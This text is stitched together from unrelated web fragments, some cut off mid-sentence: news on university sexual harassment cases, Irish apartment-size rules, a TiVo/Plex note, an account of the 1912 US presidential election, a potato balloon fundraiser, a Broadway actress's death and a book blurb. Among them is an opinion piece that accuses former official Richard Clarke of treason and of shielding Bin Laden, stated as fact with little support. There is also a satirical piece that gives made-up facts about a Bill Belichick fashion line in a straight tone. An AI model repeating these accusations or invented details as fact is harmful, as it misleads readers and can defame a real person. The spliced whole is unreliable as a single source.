Students outraged by his piece and his presence on campus staged a demonstration Wednesday in Sproul Plaza and inside the law school, where their demands for his removal echoed loudly in the halls. The protest was not led by law students, but some who observed the rally at Boalt Hall also had concerns about the former dean’s return.
“I don’t think he should be here,” said Djenab Conde, a first-year law student. “I think as a tenured professor, you’re held to an even higher standard of conduct.”
Choudhry referred questions to his lawyer, Bill Taylor, who said it was only natural that his client would return to work. “No one has suggested that he’s dangerous, so I’m kind of mystified at the notion that he shouldn’t go to work,” Taylor said.
A series of sexual harassment scandals at UC Berkeley in the past academic year — in which prominent academics and administrators received light consequences for sexual harassment — brought national attention to a longstanding problem. The scandals caused an uproar on campus and may have led to the resignations of the provost and the chancellor.
At San Jose State, revelations of the university’s handling of a sexual harassment case against a professor — first reported Tuesday by this news organization — prompted the new president to review how the campus handles such complaints.
President Mary Papazian sent a message to campus, calling the report “troubling” and promising to take “appropriate systematic actions based on what we learn.”
San Jose State professor Lewis Aptekar remained chairman of the university’s counselor education department for five months after he was found to have sexually harassed a student, this newspaper revealed.
Late last year, a campus investigation concluded that Aptekar sexually harassed a graduate student in class, using class discussions on relationships to “probe for more information than (could) possibly be related to an academic program” — and using that information to “push for more personal relationships.”
A 2014 complaint against Aptekar, filed on behalf of two other students by an associate dean, David Bruck, did not appear to be taken into account in the subsequent case. Documents show it was not even acknowledged by some top campus officials. Interviewed by campus investigators about Aptekar last year, the College of Education’s dean, Elaine Chin, asserted that no one had previously complained, formally or informally, about the professor.
On Wednesday, Chin sent a message to the College of Education saying the news report “raised numerous troubling issues.”
“I ask you to join me in learning everything we can about mandatory reporting, sexual harassment, Title IX …” she wrote, “as well as how to eliminate sexual misconduct and other discriminatory behavior on our campus.”New minimum apartment sizes introduced by Minister for Environment Alan Kelly last month cannot actually be built, according to the Royal Institute of the Architects of Ireland (RIAI).
RIAI vice-president and housing spokesman John O’Mahony said it was “not possible” to design an apartment within the new minimum sizes because the smallest permissible rooms would not fit inside.
The anomaly has arisen because, when Mr Kelly issued the Planning Guidelines on Design Standards for New Apartments last December, he only reduced the overall size of one, two and three bedroom apartments, but did not cut the minimum size of bedrooms and living rooms/kitchens.
The mismatch means the required rooms cannot be squeezed into smaller apartments, said Mr O’Mahony, managing director of O’Mahony Pike Architects.
“I don’t think anyone road-tested this, because we have done a lot of research on this - it is not possible to design an apartment to the minimum sizes set down in the national standards.”
Improve affordability
Mr Kelly said he was issuing the guidelines to kickstart apartment development and improve the affordability of housing in Dublin.
The Dublin City Development Plan had set the minimum size of one-bed apartments at 55 sq m, two-bed apartments at 90 sq m and three-bed apartments at 100 sq m.
The new standards – which took effect immediately – set one-bed apartments at 45 sq m, two-bed apartments at 73 sq m and three-bed apartments at 90 sq m, but the component parts, ie the rooms, remain the same as with the council sizes.
In any one development these smallest sizes could account for up to half of apartments. However, Mr O’ |
known to hunt with Bin Laden, in the UAE. Al-Maktoum was a big supporter of the Taliban and al-Qaeda. And although people often forget, two of the 9/11 hijackers were citizens of the UAE and the funding that supported the attacks flowed through the UAE, according to the official account.
Just a few months after Clarke’s UAE visit, in July 1999, the CIA claimed that Bin Laden had “been allowed to funnel money through the Dubai Islamic Bank in Dubai, which the United Arab Emirates Government effectively controls.” Apparently Bin Laden “had a relationship with the bank, which they believed had been arranged with the approval of the officials who control the bank.”
Bin Laden was not the only al Qaeda link to Clarke’s friends in the UAE. Reportedly, KSM was living in the city of Sharjah, UAE at the time of Clarke’s trip. Sharjah was reportedly a major center of al Qaeda activity then. The plot’s alleged money man Mustafa Ahmed al-Hawsawi was also based in Sharjah. Saeed Sheikh, known as the 9/11 paymaster, was said to have established an al Qaeda base in the UAE while openly working with the Pakistani ISI. Some have suggested that Hawsawi and Sheikh were the same man.
Al-Maktoum, whom Clarke met with in 1999, later tried to take over the management of six major U.S. ports. George W. Bush lobbied on his behalf but the deal fell through.
The 9/11 Commission Report has six references to the UAE, most of which can be found on page 138. One of these suggests that “but for the cooperation of the UAE, we would have killed Bin Ladin two years in advance of September 11.”
Therefore it is difficult to understand why the leading authority on counterterrorism in the U.S. would be meeting, and maintaining close personal relationships, with the UAE friends of Bin Laden just two years before 9/11. This was three years after Bin Laden had first declared holy war against the United States, and one year after his more recent such proclamation.
Clarke’s Tips Helped Bin Laden And Misled Americans
It is far more difficult to understand why Clarke was personally behind the failure of two CIA attempts to kill or capture Bin Laden in 1999. The first of these occurred just a few days after Clarke’s visit to the UAE. The CIA obtained information that OBL was hunting with UAE royals in Afghanistan at the time, and President Clinton was asked for permission to attack the camp. According to author Steve Coll in his book Ghost Wars, Clarke voted down that plan and others within the U.S. government speculated that his ties to the UAE were behind his decision.
The next month, when the CIA had tracked Bin Laden’s location again and was prepared to take him out during another of the Afghanistan hunting trips, Clarke took it upon himself to alert his UAE friends about the CIA monitoring their meetings with Bin Laden. Of course, the UAE royals tipped off Bin Laden and the U.S. lost another opportunity to kill or capture its number one enemy. Considering that CIA plans are top secret national security priorities, and that OBL was wanted for the bombings in East Africa, Clarke’s action should have been seen as treason.
When questioned by Congressman Richard Burr as part of the Joint Congressional Inquiry into 9/11, Clarke was evasive about his actions to protect his UAE friends and bin Laden. The fact that Clarke was allowed to testify without being under oath, in a special agreement in which his comments were considered only a “briefing,” was itself telling.
Regarding the second attempt that Clarke had foiled, Burr asked, “Did the CIA, in fact, brief you that the camp was an ideal situation, that they did have real time intelligence, that the collateral damage would be extremely limited, involving only the camp facility? And as a follow-up [to] my last question, Mr. Clarke, did, in fact, you call the royal family and inform them of the information we had about the intelligence of that camp and that exercise?” Clarke replied, “I think those facts are slightly wrong,” clarifying that the information the CIA had was not exactly real-time yet essentially admitting that he tipped off the UAE royals.
Somehow, Clarke’s two efforts to keep OBL from being captured or killed in 1999 slipped his mind when he testified to the 9/11 Commission. Apparently, those events were also not important enough to mention to Bill Maher when suggesting that Bin Laden relied on such tips from rogue, retired intelligence officials.
Whether he was protecting his UAE friends or not, Clarke failed to act on information about al Qaeda operatives living in the United States. After an al Qaeda “millennium plot” was said to be broken up in Jordan, Clarke authorized an investigation of one of the plotters, Khalil Deek, who lived in Anaheim, California for most of the 1990s. The investigative team reported to Clarke and the NSC directly in December, 1999, stating that Deek’s next door neighbor was operating an al Qaeda sleeper cell in Anaheim. No action was taken by Clarke or the NSC.
A few months later, in April 2000, Clarke was quoted in the Washington Post as saying that terrorists “will come after our weakness, our Achilles Heel, which is largely here in the United States.” Although this was a bold statement, it was unfortunate that Clarke did not have time to arrest the terrorists that he knew were living and plotting in the United States.
In late May 2001, Clarke wrote a memorandum to Condoleezza Rice and her assistant, Stephen Hadley. The title of the memo was “Stopping Abu Zubaydah’s Attacks.” Cited as part of the evidence that the “System was Blinking Red,” the 9/11 Commission said the memo claimed that Zubaydah was preparing to launch “a series of major terrorist attacks” and, when they occurred, “we will wonder what more we could have done to stop them.”
Clarke went on to write in his 2004 book Against All Enemies that Zubaydah, whose torture testimony presumably led to the capture of KSM and others, was one of “al Qaeda’s top operational managers.”
Apparently, all of those claims were false as the U.S. government said in 2009 that Zubaydah was never associated with al Qaeda in any way. Clarke has not said a word about Zubaydah since that time.
Some might wonder why Clarke never thought of his good friends within the UAE royal family, who met with OBL regularly, as sources on al Qaeda. Surely people who met with OBL personally in the two years before 9/11, and were big supporters of al Qaeda like Clarke’s friend Al-Maktoum, might have had some information to provide. Another reason to suspect such knowledge is that, although only two of the alleged 9/11 terrorists were said to be citizens of the UAE, nearly all of the alleged hijackers arrived in the United States by traveling through the UAE.
These days Clarke works with his COG partner, former CIA Director James Woolsey, at Paladin Capital, which has offices in New York and the UAE. Clarke is also the chairman of Good Harbor Consulting, where he is in partnership with many people who are making a fortune off the War on Terror. Good Harbor Consulting has an office in Abu Dhabi as well, and Clarke is known to have a “big footprint” in the UAE.
Meanwhile many Americans remain blissfully ignorant of real threats to civil rights and national security, like having terrorism suspects advise the president on protecting us from terrorism. But here’s some advice for the rest of us. Before we accept any more “Real Time” wisdom about terrorism and NSA spying from Bill Maher’s guests, maybe we should take a closer look at those guests, starting with Clarke and his colleagues.Bill Belichick is a man of many talents. He’s a brilliant football coach, a masterful coacher of football, and… actually, there’s not much else. But there is one secret talent Belichick has that very few people know about. In the offseason, Coach Bill transforms from a molder of athletes on the gridiron to a molder of fashion trends on catwalks from Paris to Milan.
Though unknown to many statesiders who can’t be bothered to follow the ups and downs of London Fashion Week, Bill Belichick’s fashion line, Belichic, has been the talk of catwalk connoisseurs for years now. Here’s a look at five of the designs that wowed runway watchers over the years.
The Belichic Half-Calf Performance Sweat Pant
Smooth. Luxurious. Sensual. The Half-Calf Performance Sweat Pant was a hit when Belichick debuted the look at the Roberto Kraft fall show this year. While the Half-Calf can be combined with any number of sock pairs, the look is best completed with a shin-high white cotton athletic sock to accentuate the erogenous area just below the knee. Available in blue and slightly darker blue, the Half-Calf Sweat Pant retails for $1900 at Belichic’s pop-up shop on Newbury Street.
The Belichic Dual Layered Sheer Cut Hooded Sweat Shirt
Though few know of Belichic’s standing in the fashion community, nearly everyone took note when Belichick debuted this look during a Patriots game in the late aughts. For the on-the-go coach that needs a full range of motion in their arms unimpeded by the cumbersome bunching of the traditional hoodie sleeves, the Sheer Cut is a must-have. Available in gray or grey, the Sheer Cut retails for $2740 at the secret Belichic boutique on the 38th floor of the Prudential Center.
The Belichic Winter Warmer
With gameday temperatures for Saturday’s divisional playoff matchup between the Patriots and Baltimore Ravens expected to dip into the teens, the Belichic Winter Warmer is a must-have look for the hearty Patriots fan hoping to endure the chilly confines of Gillette Stadium. Belichick stunned runway watchers by deviating from his traditional palette of gray and blue with this vibrant tan number in 2010. Pairing the Winter Warmer with the Play-Disguising Muffler, Classic Blue Hood, and Metallic Silver Headset from Motorola ensures that the wearer will be warmer, while also bringing out their twinkling blue eyes. The $12,349 price tag may seem exorbitant, but each Winter Warmer is custom-tailored by Coach Bill during the offseason. With only 12 available per year, demand is high, and for good reason.
The Belichic Classic Wind Wear
The Classic Wind Wear is Belichic refined. What initially appears to be a simple pair of wind pants transforms when in motion, giving the wearer an elegant, flowing look when walking the runway or pacing the sideline. Tragically, the Wind Wear is not for sale. Belichick famously disowned the design after Wind Wear’s co-designer, Belichic protege Enrico Mangino, left Belichic to start his own fashion line in New York. The move was a savvy one by Belichick, however, as the Enrico Mangino fashion line failed spectacularly, and is now only available at Kmart.
The Belichic Thigh-High Daisy Duke Short Sweat
Yowza! The Belichic Thigh-High Daisy Duke Short Sweat is not for the faint of heart, nor the weak of thigh. Skippers of leg day will want to avoid this bold bare-all look, but Gods of fitness like Coach Bill should pair this hot little number with the Come Hither Cutoff Hood and the Pure Sex Visor. Available in slate or gunmetal gray, the Thigh-High can be had for the low low price of $728 in the Belichic outlet store located twenty feet below Gillette Stadium.Why thank you, Evolution Digital for spilling the beans. We’d previously wondered if Plex might hit TiVo … given its recent Opera TV integration. And, now, we have part of the answer. What’s not yet known if this would be a native app, like Vudu, or an app-within-an-app via Opera. What’s also not known is box support and timing. However, I can’t imagine it’ll be a long wait given Evolution’s Amazon download cessation outreach and, at the very least, we can expect Roamio to be covered. Hopefully Premiere too. Properly integrated, Plex would go a long way to shoring up TiVo’s poor support of local media and opens doors on all sorts of interesting scenarios.
Evolution Digital has worked to minimize the field impact of this change and there is no action that a Cable Operator or subscriber will have to take. TiVo will be deploying new OTT services which include: Vudu
iHeartradio
Plex video, music streaming service
(via Sam on the Investor Discussion Board)The United States presidential election of 1912 was the 32nd quadrennial presidential election, held on Tuesday, November 5, 1912. Democratic Governor Woodrow Wilson of New Jersey unseated incumbent Republican President William Howard Taft and defeated former President Theodore Roosevelt, who ran as the Progressive Party ("Bull Moose") nominee. Roosevelt remains the only third party presidential candidate in U.S. history to finish better than third in the popular or electoral vote.
Roosevelt had served as president from 1901 to 1909, and Taft had won the 1908 Republican presidential nomination with Roosevelt's support. Displeased with Taft's actions as president, Roosevelt challenged Taft at the 1912 Republican National Convention. After Taft and his conservative allies narrowly prevailed at the Republican convention, Roosevelt rallied his progressive supporters and launched a third party bid. Backed by William Jennings Bryan and other progressives, Wilson won the Democratic Party's presidential nomination on the 46th ballot, defeating Speaker of the House Champ Clark and several other candidates. Meanwhile, the Socialist Party renominated its perennial standard-bearer, Eugene V. Debs.
The election of 1912 was bitterly contested by three individuals, Wilson, Roosevelt, and Taft, who all had or would serve as president. Roosevelt's "New Nationalism" platform called for social insurance programs, an eight-hour workday, and a strong federal role in regulating the economy. Wilson's "New Freedom" platform called for tariff reform, banking reform, and a new antitrust law. Knowing that he had little chance of victory, Taft conducted a subdued campaign based on his own platform of "progressive conservatism." Debs claimed that the other three candidates were largely financed by trusts and tried to galvanize support behind his socialist policies.
The Progressive party was nicknamed the "Bull Moose Party" after journalists quoted Roosevelt saying that he was "feeling like a bull moose" on the campaign trail shortly after the new party was formed.[2]
Wilson carried 40 states and won a large majority of the electoral vote, taking advantage of the split in the Republican Party. He was the first Democrat to win a presidential election since 1892, and would be one of just two Democratic presidents to serve between the Civil War and the onset of the Great Depression. Roosevelt won 88 electoral votes, while Taft carried just two states, taking 8 electoral votes. Wilson won 41.8% of the national popular vote, while Roosevelt won 27%, Taft 23%, and Debs 6%.
Background [ edit ]
Republican President Theodore Roosevelt had declined to run for re-election in 1908 in fulfillment of a pledge to the American people not to seek a second full term. Roosevelt's first term as president (1901–1905) was incomplete, as he succeeded to the office upon the assassination of William McKinley; it was only his second term (1905–1909) that encompassed four full years. He had tapped Secretary of War William Howard Taft to become his successor, and Taft defeated Democrat William Jennings Bryan in the general election.
During Taft's administration, a rift grew between Roosevelt and Taft as they became the leaders of the Republican Party's two wings: the progressives, led by Roosevelt, and the conservatives, led by Taft. The progressive Republicans favored restrictions on the employment of women and children, promoted ecological conservation, and were more sympathetic toward labor unions. The progressive Republicans were also in favor of the popular election of federal and state judges and opposed to having judges appointed by the president or state governors. The conservative Republicans were in support of high tariffs on imported goods to encourage consumers to buy American-made products (as were most progressive Republicans), favored business leaders over labor unions, and were generally opposed to the popular election of judges.
By 1910 the split between the two wings of the Republican Party was deep, and this, in turn, caused Roosevelt and Taft to turn against one another, despite their personal friendship. The 1910 Midterm elections proved to be rather rough for the Republicans which seemed to further cement the growing divide among the party. Taft's popularity among Progressives collapsed when he supported the Payne-Aldrich Tariff Act in 1909,[3] abandoned Roosevelt's anti-trust policy[4] and fired popular conservationist Gifford Pinchot as head of the Bureau of Forestry in 1910.[5]
Nominations [ edit ]
Republican Party nomination [ edit ]
Republican candidates:
Punch cartoon by cartoon by Leonard Raven-Hill, depicting the perceived aggression between Taft and Roosevelt.
For the first time, significant numbers of delegates to the national conventions were elected in presidential preference primaries. Primary elections were advocated by the progressive faction of the Republican Party, which wanted to break the control of political parties by bosses. Altogether, twelve states held Republican primaries. Robert M. La Follette won two of the first four primaries (North Dakota and Wisconsin). Beginning with his runaway victory in Illinois on April 9, however, Roosevelt won nine of the last ten presidential primaries (in order, Illinois, Pennsylvania, Nebraska, Oregon, Maryland, California, Ohio, New Jersey, and South Dakota), losing only Massachusetts to Taft.[6] As a sign of his great popularity, Roosevelt even carried Taft's home state of Ohio.
The Republican Convention was held in Chicago from June 18 to 22. Taft, however, had begun to gather delegates earlier, and the delegates chosen in the primaries were a minority. Taft had the support of the bulk of the party organizations in the Southern states. These states had voted solidly Democratic in every presidential election since 1880, and Roosevelt objected that they were given one-quarter of the delegates when they would contribute nothing to a Republican victory (as it turned out, delegates from the former Confederate states supported Taft by a 5 to 1 margin). When the convention gathered, Roosevelt challenged the credentials of nearly half of the delegates.[citation needed] By that time, however, it was too late. The delegates chose Elihu Root — once Roosevelt's top ally — to serve as chairman of the convention. Afterwards, the delegates seated Taft delegations in Alabama, Arizona, and California on tight votes of 597-472, 564-497, and 542-529, respectively. After losing California, where Roosevelt had won the primary, the progressive delegates gave up hope. They voted "present" on most succeeding roll calls. Not since the 1872 election had there been a major schism in the Republican party. Now, with the Democrats holding about 45% of the national vote, any schism would be fatal. Roosevelt's only hope at the convention was to form a "stop-Taft" alliance with La Follette, but Roosevelt had alienated La Follette, and the alliance could not form.
Unable to tolerate the personal humiliation he suffered at the hands of Taft and the Old Guard, and refusing to entertain the possibility of a compromise candidate, Roosevelt struck back hard. On the evening of June 22, 1912, Roosevelt asked his supporters to leave the convention. Roosevelt maintained that President Taft had allowed fraudulent seating of delegates to capture the presidential nomination from progressive forces within the Party. Thus, with the support of convention chairman Elihu Root, Taft's supporters outvoted Roosevelt's men, and the convention renominated incumbents William Howard Taft and James S. Sherman, making Sherman the first sitting vice-president to be nominated for re-election since John C. Calhoun in 1828.
Progressive Party [ edit ]
Progressive candidate:
Theodore Roosevelt, former President of the United States, from New York
Progressive convention, 1912
Republican progressives reconvened in Chicago and endorsed the formation of a national progressive party. When formally launched later that summer, the new Progressive Party chose Roosevelt as its presidential nominee and Governor Hiram Johnson from California as his vice presidential running mate. Questioned by reporters, Roosevelt said he felt as strong as a "bull moose". Henceforth known as the "Bull Moose Party," the Progressives promised to increase federal regulation and protect the welfare of ordinary people.
The party was funded by publisher Frank Munsey and its executive secretary George Walbridge Perkins, an employee of banker J. P. Morgan and International Harvester. Perkins blocked an anti-trust plank, shocking reformers who thought of Roosevelt as a true trust-buster. The delegates to the convention sang the hymn "Onward, Christian Soldiers" as their anthem. In a famous acceptance speech, Roosevelt compared the coming presidential campaign to the Battle of Armageddon and stated that the Progressives were going to "battle for the LORD." However, many of the nation's newspapers, which tended to be pro-Republican, harshly depicted Roosevelt as an egotist who was only running for president to spoil Taft's chances and feed his vanity.
Democratic Party nomination [ edit ]
Democratic candidates:
The Democratic Convention was held in Baltimore, Maryland, from June 25 to July 2. It proved to be one of the more memorable presidential conventions of the twentieth century. Initially, the frontrunner appeared to be Champ Clark of Missouri, the Speaker of the House, and Clark did receive the largest number of delegate votes early in the balloting. However, he was unable to get the two-thirds majority required to win the nomination. His chances were hurt when Tammany Hall, the powerful and corrupt Democratic political machine in New York City, threw its support behind Clark. Instead of helping him, this led William Jennings Bryan, the three-time Democratic presidential candidate and still the leader of the party's progressives, to turn against Clark as the candidate of "Wall Street". Bryan instead threw his support to New Jersey Governor Woodrow Wilson, who had consistently finished second to Clark on each ballot, and who was regarded as a moderate reformer. Wilson had nearly given up hope that he could be nominated, and he was on the verge of having a concession speech read for him at the convention that would free his delegates to vote for someone else. Bryan's defection from Clark to Wilson led many other delegates to do the same, and Wilson gradually gained strength while Clark's support dwindled. Wilson finally received the nomination on the 46th ballot.
Thomas R. Marshall, the Governor of Indiana, who had swung his state's delegate votes to Wilson in later ballots, was named as Wilson's running mate.
(1-24) Presidential Ballot 1st 2nd 3rd 4th 5th 6th 7th 8th 9th 10th 11th 12th 13th 14th 15th 16th 17th 18th 19th 20th 21st 22nd 23rd 24th Woodrow Wilson 324 339.75 345 349.5 351 354 352.5 351.5 352.5 350.5 354.5 354 356 361 362.5 362.5 362.5 361 358 388.5 395.5 396.5 399 402.5 Champ Clark 440.5 446.5 441 443 443 445 449.5 448.5 452 556 554 547.5 554.5 553 552 551 545 535 532 512 508 500.5 497.5 496 Judson Harmon 148 141 140.5 136.5 141.5 135 129.5 130 127 31 29 29 29 29 29 29 29 29 29 29 29 0 0 0 Oscar Underwood 117.5 111.25 114.5 112 119.5 121 123.5 123 122.5 117.5 118.5 123 115.5 111 110.5 112.5 112.5 125 130 121.5 118.5 115 114.5 115.5 Eugene Foss 0 0 0 0 0 0 0 0 0 0 0 0 2 0 0 0 0 0 1 2 5 43 45 43 Thomas R. Marshall 31 31 31 31 31 31 31 31 31 31 30 30 30 30 30 30 30 30 30 30 30 30 30 30 Simeon E. Baldwin 22 14 14 14 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 William J. Bryan 1 2 1 0 0 1 1 1 1 1 1 1 1 2 2 1 1 1 7 1 1 1 1 1 John W. Kern 0 0 1 2 2 1 1 1 1 1 1 1 0 2 2 2 4.5 3.5 1 1 1 1 0 0 Ollie M. James 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 3 0 0 0 0 William Sulzer 2 2 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 William J. Gaynor 0 0 0 0 0 0 0 1 1 0 0 0 0 0 0 0 0 0 0 0 0 1 1 0 J. Hamilton Lewis 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 Blank 2 0.5 0 0 0 0 0 0 0 0 0 2.5 0 0 0 0 3.5 3.5 0 0 0 0 0 0
(25-46) Presidential Ballot 25th 26th 27th 28th 29th 30th 31st 32nd 33rd 34th 35th 36th 37th 38th 39th 40th 41st 42nd 43rd 44th 45th 46th Unanimous Woodrow Wilson 405 407.5 406.5 437.5 436 460 475.5 477.5 477.5 479.5 494.5 496.5 496.5 498.5 501.5 501.5 499.5 494 602 629 633 990 1,088 Champ Clark 469 463.5 469 468.5 468.5 455 446.5 446.5 447.5 447.5 433.5 434.5 432.5 425 422 423 424 430 329 306 306 84 Judson Harmon 29 29 29 29 29 19 17 14 29 29 29 29 29 29 29 28 27 27 28 27 25 12 Oscar Underwood 108 112.5 112 112.5 112 121.5 116.5 119.5 103.5 101.5 101.5 98.5 100.5 106 106 106 106 104 98.5 99 97 0 Eugene Foss 43 43 38 38 38 30 30 28 28 28 28 28 28 28 28 28 28 28 27 27 27 0 Thomas R. Marshall 30 30 30 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 Simeon E. Baldwin 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 William J. Bryan 1 1 1 1 0 0 0 0 0 0 0 0 0 0 0 0 1 0.5 1 0 0 0 John W. Kern 0 0 0 1 4 2 2 2 2 2 1 1 1 1 1 1 1 1 1 0 0 0 Ollie M. James 3 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 William Sulzer 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 William J. Gaynor 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 1 0 0 0 0 J. Hamilton Lewis 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 Blank 0 1.5 2.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 1.5 0 0 2
Socialist Party nomination [ edit ]
Socialist candidates:
Eugene V. Debs's 6% was an all-time high for the Socialist Party
The Socialist Party of America was a highly factionalized coalition of local parties based in industrial cities and usually was rooted in ethnic communities, especially German and Finnish. It also had some support in old Populist rural and mining areas in the West, especially Oklahoma. By 1912, the party claimed more than a thousand locally elected officials in 33 states and 160 cities, especially the Midwest. Eugene V. Debs had run for president in 1900, 1904, and 1908, primarily to encourage the local effort, and he did so again in 1912 and from prison in 1920.[10]
The conservatives, led by Victor L. Berger from Milwaukee, promoted progressive causes of efficiency and an end to corruption, nicknamed "gas and water socialism." Their opponents were the radicals who wanted to overthrow capitalism, tried to infiltrate labor unions, and sought to cooperate with the Industrial Workers of the World ("the Wobblies"). With few exceptions, the party had weak or nonexistent links to local labor unions. Immigration was an issue—the radicals saw immigrants as fodder for the war with capitalism, while conservatives complained that they lowered wage rates and absorbed too many city resources. Many of these issues had been debated at the First National Congress of the Socialist Party in 1910, and they were debated again at the national convention in Indianapolis in 1912. At the latter, the radicals won an early test by seating Bill Haywood on the Executive Committee, sending encouragement to western "Wobblies", and passed a resolution seeming to favor industrial unionism. The conservatives counterattacked by amending the party constitution to expel any socialists who favored industrial sabotage or syndicalism (that is, the IWW), and who refused to participate in American elections. They adopted a conservative platform calling for cooperative organization of prisons, a national bureau of health, abolition of the Senate and the presidential veto. Debs did not attend; he saw his mission as keeping the disparate units together in the hope that someday a common goal would be found.
General election [ edit ]
Campaign [ edit ]
The 1912 presidential campaign was bitterly contested. Vice-President James S. Sherman died in office on October 30, 1912, less than a week before the election, leaving Taft without a running mate. (Nicholas M. Butler was designated to receive electoral votes that would have been cast for Sherman.) With the Republican Party divided, Wilson captured the presidency handily on November 5.[citation needed]
Republican campaign postcard charging a Democratic administration would remove pensioners from the rolls
While Roosevelt was campaigning in Milwaukee on October 14, 1912, a saloonkeeper from New York, John Flammang Schrank, shot him, but the bullet lodged in his chest only after penetrating both his steel eyeglass case and a 50-page single-folded copy of the speech titled "Progressive Cause Greater Than Any Individual", he was to deliver, carried in his jacket pocket. Schrank was immediately disarmed, captured and might have been lynched had Roosevelt not shouted for Schrank to remain unharmed.[11] Roosevelt assured the crowd he was all right, then ordered police to take charge of Schrank and to make sure no violence was done to him.[12] Roosevelt, as an experienced hunter and anatomist, correctly concluded that since he was not coughing blood, the bullet had not reached his lung, and he declined suggestions to go to the hospital immediately. Instead, he delivered his scheduled speech with blood seeping into his shirt.[13] He spoke for 90 minutes before completing his speech and accepting medical attention. His opening comments to the gathered crowd were, "Ladies and gentlemen, I don't know whether you fully understand that I have just been shot, but it takes more than that to kill a Bull Moose."[14][15][15][citation needed] Afterwards, probes and an x-ray showed that the bullet had lodged in Roosevelt's chest muscle, but did not penetrate the pleura. Doctors concluded that it would be less dangerous to leave it in place than to attempt to remove it, and Roosevelt carried the bullet with him for the rest of his life.[16][17] In later years, when asked about the bullet inside him, Roosevelt would say, "I do not mind it any more than if it were in my waistcoat pocket."[18]
Both Taft and Democratic nominee Woodrow Wilson suspended their own campaigning until Roosevelt recovered and resumed his. When asked if the shooting would affect his election campaign, he said to the reporter "I'm fit as a bull moose", which inspired the party's emblem.[19] He spent two weeks recuperating before returning to the campaign trail.
The election of 1912 is considered the high tide of progressive politics. Had either Roosevelt or Taft stayed out of the race, a Republican victory would have been assured.[citation needed]
The Socialists had little money; Debs' campaign cost only $66,000, mostly for 3.5 million leaflets and travel to rallies organized by local groups. His biggest event was a speech to 15,000 supporters in New York City. The crowd sang "La Marseillaise" and "The Internationale" as Emil Seidel, the vice- presidential candidate, boasted, "Only a year ago workingmen were throwing decayed vegetables and rotten eggs at us but now all is changed... Eggs are too high. There is a great giant growing up in this country that will someday take over the affairs of this nation. He is a little giant now but he is growing fast. The name of this little giant is socialism." Debs said that only the socialists represented labor. He condemned "Injunction Bill Taft" and ridiculed Roosevelt as "a charlatan, mountebank, and fraud, and his Progressive promises and pledges as the mouthings of a low and utterly unprincipled self seeker and demagogue." Debs insisted that the Democrats, Progressives, and Republicans alike were financed by the trusts. Party newspapers spread the word—there were five English-language and eight foreign-language dailies along with 262 English and 36 foreign-language weeklies. The labor union movement, however, largely rejected Debs and supported Wilson.[citation needed]
Evansville Courier newspaper Roosevelt mixing "radical" ingredients in his speeches in this 1912 editorial cartoon by Karl K. Knecht (1883–1972) in the Republicannewspaper
Roosevelt conducted a vigorous national campaign for the Progressive Party, denouncing the way the Republican nomination had been "stolen". He bundled together his reforms under the rubric of "The New Nationalism" and stumped the country for a strong federal role in regulating the economy and chastising bad corporations. Wilson supported a policy called "The New Freedom". This policy was based mostly on individualism instead of a strong government. Taft campaigned quietly, and spoke of the need for judges to be more powerful than elected officials. The departure of the more progressive Republicans left the conservative Republicans even more firmly in control of their party until 1916, when many progressives returned. Much of the Republican effort was designed to discredit Roosevelt as a dangerous radical, but this had little effect.[citation needed]
Tariffs and Republican Party split [ edit ]
Before the ratification of the Sixteenth Amendment to the United States Constitution (1913), the funding of the United States government heavily relied upon tariffs. Tariffs are a direct taxation of raw materials and manufactured goods with regard to trade. This issue was key in fracturing the Republican Party. Early in his term, President Taft had promised to stand for a lower tariff bill. Protectionism was major policy of the business oriented Republican Party.[20]
After Congressional deliberation, the Payne-A |
, which will lift an insulated payload box to near space.
The payload will contain:
a camera that will take amazing and beautiful pictures of Earth from 100,000 feet.
a tracking device so we can eventually recover the balloon and camera.
a potato.
All electronics are running on power generated by potatoes. Before launch, the devices will be fully charged using power from many potatoes in serial. A potato battery will also be included in the payload, providing electricity during the flight.
An engineer filling up a space balloon that can carry a potato payload.
The basic layout of our payload.
Engineer in the lab seemingly focused on assembling a balloon payload, but actually thinking about potatoes.
T-Shirts, Patches, and mission swag
Support the potato balloon with a t-shirt reward and get something with this awesome design!
Questions?
We want to give everyone the chance to find out all they can about this exciting potato mission to space. If you have any questions, please reach out either via Kickstarter or through our website. We read everything and will do our best to respond to everyone.Dylan Baker
Broadway actress Vivien Eng died Thursday from injuries she suffered in a fire in her Manhattan apartment on Tuesday. According to Variety, her neighbor — Good Wife star Dylan Baker — tried to save her from the blaze, but was unable to get to her. Eng was 51.
On Tuesday afternoon, Baker noticed flames coming out of Eng's apartment, banged on the door and called her name. He saw the door was open and attempted to go inside. "When I opened the door, it was a full-fledged fire," he said, according to NBC New York. "It was terrifying." He evacuated his family from the building and immediately called 911.
Firefighters found Eng lying unconscious on the floor and took her to a nearby hospital. She died of burns and smoke inhalation on Thursday. Fire marshals said the accident was caused by smoking materials that hadn't been properly extinguished.
Vivien Eng's apartment after the fire.Photo: Splash News
Eng appeared in the 1996 Broadway run of The King and I, as well as on several Law & Order episodes and in the movie Precious.Nearly everyone has wronged another. Who among us has not longed to be forgiven? Nearly everyone has suffered the bitter injustice of wrongdoing. Who has not struggled to forgive? Charles Griswold has written the first comprehensive philosophical book on forgiveness in both its interpersonal and political contexts, as well as its relation to reconciliation. Having examined the place of forgiveness in ancient philosophy and in modern thought, he discusses what forgiveness is, what conditions the parties to it must meet, its relation to revenge and hatred, when it is permissible and whether it is obligatory, and why it is a virtue.
Contents
Prologue; 1. Forgiveness ancient and modern; 2. Forgiveness at its best; 3. Imperfect forgiveness; 4. Political apology, forgiveness, and reconciliation; 5. Truth, memory, and reconciliation without apology.
Reviews
